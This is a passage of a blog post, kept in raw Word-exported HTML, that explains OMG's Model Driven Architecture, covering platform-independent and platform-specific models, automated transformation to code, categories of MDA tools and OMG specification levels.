style="font-size:100%;"&gt;&lt;span style=""&gt;III.&lt;span style=""&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;a name="_Toc177420862"&gt;&lt;/a&gt;&lt;a name="_Toc177420781"&gt;&lt;/a&gt;&lt;a name="_Toc177420446"&gt;&lt;span style=""&gt;&lt;span style=""&gt;The Model Driven Architecture&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The Model Driven Architecture (MDA) is a framework for software development defined by the Object&lt;a name="idd1e2108"&gt;&lt;/a&gt; Management Group (OMG). Key to MDA is the importance of models in the software development process. Within MDA the software development process is driven by the activity of modeling your software system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In this section we first explain the basic MDA development life cycle, and next illustrate how MDA can help to solve (at least part of) the problems mentioned in the previous sections.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420863"&gt;&lt;/a&gt;&lt;a name="_Toc177420782"&gt;&lt;/a&gt;&lt;a name="_Toc177420447"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;1&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;The MDA Development Life Cycle&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The &lt;a name="idd1e2147"&gt;&lt;/a&gt;MDA development life cycle, which is shown in &lt;a href="mk:@MSITStore:C:%5CDocuments%20and%20Settings%5CAdministrator%5CMy%20Documents%5CDownloads%5Caddison%20wesley%20-%20mda%20explained.%20the%20model%20driven%20architecture.chm::/032119442X_ch01lev1sec2.html#ch01fig02#ch01fig02"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Figure 2&lt;/span&gt;&lt;/a&gt;, does not look very different from the traditional life cycle. The same phases are identified. One of the major differences lies in the nature of the artifacts that are created during the development process. The artifacts are formal models, i.e., &lt;a name="idd1e2159"&gt;&lt;/a&gt;models that can be understood by computers. The following three models are at the core of the MDA.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h5 style="margin-left: 0in; text-align: center;" align="center"&gt;&lt;span style="font-size:100%;"&gt;Figure 2. MDA software development life cycle&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h5&gt;   &lt;p class="MsoNormal" style="text-align: center;" align="center"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_hQ8-u2sZpD0/RunxVEkJXeI/AAAAAAAAACo/-SQCzdaA0cU/s1600-h/danglvhblog_021.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_hQ8-u2sZpD0/RunxVEkJXeI/AAAAAAAAACo/-SQCzdaA0cU/s400/danglvhblog_021.jpg" alt="" id="BLOGGER_PHOTO_ID_5109880596533435874" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;   &lt;h4 style="text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420864"&gt;&lt;/a&gt;&lt;a name="_Toc177420783"&gt;&lt;span style=""&gt;Platform Independent Model&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The first model that MDA defines is a model with a high level of abstraction that is independent of any implementation technology. This is called a &lt;a name="idd1e2192"&gt;&lt;/a&gt;Platform Independent Model (&lt;a name="idd1e2198"&gt;&lt;/a&gt;PIM).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;A PIM describes a software system that supports some business. Within a PIM, the system is modeled from the viewpoint of how it best supports the business. Whether a system will be implemented on a mainframe with a relational database or on an EJB application server plays no role in a PIM.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h4 style="text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420865"&gt;Platform Specific Model&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In the next step, the PIM is &lt;a name="idd1e2227"&gt;&lt;/a&gt;transformed into one or more &lt;a name="idd1e2231"&gt;&lt;/a&gt;Platform Specific Models (&lt;a name="idd1e2237"&gt;&lt;/a&gt;PSMs). A PSM is tailored to specify your system in terms of the implementation constructs that are available in one specific implementation technology. For example, an EJB PSM is a model of the system in terms of EJB structures. It typically contains EJB-specific terms like "home interface," "entity bean," "session bean," and so on. A relational database PSM includes terms like "table," "column," "foreign key," and so on. It is clear that a PSM will only make sense to a developer who has knowledge about the specific platform.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;A PIM is transformed into one or more PSMs. For each specific technology platform a separate PSM is generated. Most of the systems today span several technologies; therefore it is common to have many PSMs with one PIM.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h4 style="text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420866"&gt;Code&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The final step in the development is the &lt;a name="idd1e2281"&gt;&lt;/a&gt;transformation of each PSM to &lt;a name="idd1e2288"&gt;&lt;/a&gt;code. Because a PSM fits its technology rather closely, this transformation is relatively straightforward.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The MDA defines the PIM, PSM, and code, and also defines how these relate to each other. A PIM should be created, and then transformed into one or more PSMs, which then are transformed into code. The most complex step in the MDA development process is the one in which a PIM is transformed into one or more PSMs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h4 style="text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420867"&gt;&lt;/a&gt;&lt;a name="ch01lev3sec4"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Raising the Level of &lt;a name="idd1e2320"&gt;&lt;/a&gt;Abstraction&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The PIM, PSM, and code are shown as artifacts of different steps in the development life cycle. More importantly, they represent different abstraction levels in the system specification. The ability to transform a high level PIM into a PSM raises the level of abstraction at which a developer can work. This allows a developer to cope with more complex systems with less effort.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420868"&gt;&lt;/a&gt;&lt;a name="_Toc177420784"&gt;&lt;/a&gt;&lt;a name="_Toc177420448"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;2&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Automation of the Transformation Steps&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The MDA process may look suspiciously much like traditional development. However, there is a crucial difference. Traditionally, the &lt;a name="idd1e2356"&gt;&lt;/a&gt;transformations from model to model, or from model to code, are done mainly by hand. Many tools can generate some code from a model, but that usually goes no further than the generation of some template code, where most of the work still has to be filled in by hand.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;In contrast, MDA transformations are always executed by tools as shown in &lt;a href="mk:@MSITStore:C:%5CDocuments%20and%20Settings%5CAdministrator%5CMy%20Documents%5CDownloads%5Caddison%20wesley%20-%20mda%20explained.%20the%20model%20driven%20architecture.chm::/032119442X_ch01lev1sec2.html#ch01fig03#ch01fig03"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Figure 3&lt;/span&gt;&lt;/a&gt;. Many tools are able to transform a PSM into code; there is nothing new to that. Given the fact that the PSM is already very close to the code, this transformation isn't that exciting. What's new in MDA is that the transformation from PIM to PSM is automated as well. This is where the obvious benefits of MDA come in. How much effort has been spent in your projects with the painstaking task of building a database model from a high-level design? How much (precious) time was used by building a COM component model, or an EJB component model from that same design? It is indeed about time that the burden of IT-workers is eased by automating this part of their job.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h5 style="margin-left: 0in; text-align: center;" align="center"&gt;&lt;span style="font-size:100%;"&gt;Figure 3. The three major steps in the MDA development process&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h5&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_hQ8-u2sZpD0/RunyDUkJXgI/AAAAAAAAAC4/S_vrV46TiqY/s1600-h/danglvhblog_023.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_hQ8-u2sZpD0/RunyDUkJXgI/AAAAAAAAAC4/S_vrV46TiqY/s400/danglvhblog_023.jpg" alt="" id="BLOGGER_PHOTO_ID_5109881391102385666" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;At the time of writing, the MDA approach is very new. As a result of this, current tools are not sophisticated enough to provide the transformations from PIM to PSM and from PSM to code for one hundred percent. The developer needs to manually enhance the transformed PSM and/or code models. However, current tools are able to generate a running application from a PIM that provides basic functionality, like creating and changing objects in the system. This does allow a developer to have immediate feedback on the PIM that is under development, because a basic &lt;a name="idd1e2432"&gt;&lt;/a&gt;prototype of the resulting system can be generated on the fly.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420869"&gt;&lt;/a&gt;&lt;a name="_Toc177420785"&gt;&lt;/a&gt;&lt;a name="_Toc177420449"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;IV.&lt;span style=""&gt;    &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;MDA Tools&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;An MDA tool is a tool used to develop, interpret, compare, align, measure, verify, transform, etc. models or metamodels. In the following section "model" is interpreted as meaning any kind of model (e.g. a UML model) or metamodel (e.g. the CWM metamodel). In any MDA approach we have essentially two kinds of models: initial models are created manually by human agents while derived models are created automatically by programs. For example an analyst may create a UML initial model from its observation of some loose business situation while a Java model may be automatically derived from this UML model by a &lt;a href="http://www.answers.com/topic/model-transformation" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Model transformation&lt;/span&gt;&lt;/a&gt; operation. An MDA tool may be one or more of the following types:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Creation Tool: A      tool used to elicit initial models and/or edit derived models.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Analysis Tool: A tool used to check models for completeness, inconsistencies, or error and warning conditions. Also used to calculate metrics for the model.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Transformation      Tool: A tool used to transform models into other models or into code and      documentation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Composition Tool: A tool used to compose (i.e. to merge according to a given composition semantics) several source models, preferably conforming to the same metamodel.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Test Tool: A tool      used to "test" models as described in &lt;a href="http://www.answers.com/topic/model-based-testing" target="_top"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Model-based      testing&lt;/span&gt;&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Simulation Tool: A tool used to simulate the execution of a system represented by a given model. This is related to the subject of model execution.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Metadata Management Tool: A tool intended to handle the general relations between different models, including the metadata on each model (e.g. author, date of creation or modification, method of creation (which tool? which transformation? etc.)) and the mutual relations between these models (i.e. one metamodel is a version of another one, one model has been derived from another one by a transformation, etc.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Reverse Engineering Tool: A tool intended to transform particular legacy or information artifact portfolios into full-fledged models.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Some tools perform more than one of the functions listed above. For example, some creation tools may also have transformation and test capabilities. There are other tools that are solely for creation, solely for graphical presentation, solely for transformation, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;V.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;a name="_Toc177420870"&gt;&lt;/a&gt;&lt;a name="_Toc177420786"&gt;&lt;/a&gt;&lt;a name="_Toc177420450"&gt;&lt;span style=""&gt;&lt;span style=""&gt;Specifications&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;OMG recognizes (based on analogy to the CORBA-based Object Management Architecture) three levels of MDA-based specifications:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;The &lt;a href="http://www.omg.org/mda/specs.htm#PervasServics"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Pervasive      Services&lt;/span&gt;&lt;/a&gt;, including &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Enterprise&lt;/st1:place&gt;&lt;/st1:city&gt;      necessities such as Directory Services, Transactions, Security, and Event      handling (Notification). &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;The &lt;a href="http://www.omg.org/mda/specs.htm#DomainFacs"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Domain Facilities&lt;/span&gt;&lt;/a&gt;,      in industries such as Healthcare, Manufacturing, Telecommunications,      Biotechnology, and others; and &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.omg.org/mda/specs.htm#MDAapps"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Applications themselves&lt;/span&gt;&lt;/a&gt;, perhaps created and maintained by a software vendor or end user company or enterprise using MDA tools to run an MDA-based methodology, but not standardized by OMG. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420871"&gt;&lt;/a&gt;&lt;a name="_Toc177420787"&gt;&lt;/a&gt;&lt;a name="_Toc177420451"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;1&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;The Pervasive Services&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;This category will include at least &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Directory and      Naming Services&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Event      Handling/Notification Services&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Additional Pervasive Services may be defined, either from the list of &lt;a href="http://www.omg.org/technology/documents/formal/corbaservices.htm"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;CORBAservices &lt;/span&gt;&lt;/a&gt;already standardized by OMG or from other suggestions from OMG members. Transactions and Security, the other two most popular CORBAservices, may or may not be part of this group - in the Component world, transactionality and security are attributes of a running system, rather than services that a program calls, because of the way the Component Container or Application Server is set up to run transactionally and securely as part of an application's environment. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;OMG members are already taking the group's well-established CORBAservice specifications and mapping them back to PIMs where they can serve all platforms through the MDA development pathway.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420872"&gt;&lt;/a&gt;&lt;a name="_Toc177420788"&gt;&lt;/a&gt;&lt;a name="_Toc177420452"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;2&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Domain Facilities&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;OMG's Domain Task Forces started to write their specifications in the MDA in mid-2001, led by the Life Science Research Domain Task Force, working in Biotechnology, which was the first Domain Task Force to modify &lt;a href="http://www.omg.org/cgi-bin/doc?lifesci/01-04-10"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;its Mission and Goals Statement&lt;/span&gt;&lt;/a&gt; to reflect its work in MDA. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;All of our Domain specifications are&lt;a href="http://www.omg.org/technology/documents/domain_spec_catalog.htm"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt; listed on this web page&lt;/span&gt;&lt;/a&gt;. In addition to the Life Sciences MDA specifications, other notable MDA-based entries are the Software-Defined Radio and Super Distributed (that is, ubiquitous) Objects entries. Our &lt;a href="http://www.omg.org/schedule"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;Work in Progress page &lt;/span&gt;&lt;/a&gt;lists 15+ ongoing processes adopting new MDA-based specifications. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420873"&gt;&lt;/a&gt;&lt;a name="_Toc177420789"&gt;&lt;/a&gt;&lt;a name="_Toc177420453"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;3&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;MDA Applications&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.omg.org/mda/committed-products.htm"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;MDA-based development tools are available now&lt;/span&gt;&lt;/a&gt;, and enterprises everywhere around the world starting their application development by building a PIM instead of writing code. Even now, MDA is being used for large, mission-critical applications including the &lt;a href="http://www.omg.org/mda/mda_files/LockheedMartin.pdf"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;F-16 fighter jet mission software&lt;/span&gt;&lt;/a&gt; and a &lt;a href="http://www.omg.org/mda/mda_files/EDCubed%20postgirot%20bankstory.htm"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;two-million-transaction per day bank payment system&lt;/span&gt;&lt;/a&gt;. If you're not convinced of the value of MDA already, look through these stories. We think you'll be ready to try MDA by the time you've read just a few!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="_Toc177420874"&gt;&lt;/a&gt;&lt;a name="_Toc177420790"&gt;&lt;/a&gt;&lt;a name="_Toc177420454"&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=""&gt;VI.&lt;span style=""&gt;    &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Summary&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The Model Driven Architecture is a framework for software development, defined by the OMG. Key to MDA is the importance of models in the software development process. Within MDA the software development process is driven by the activity of modeling your software system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; 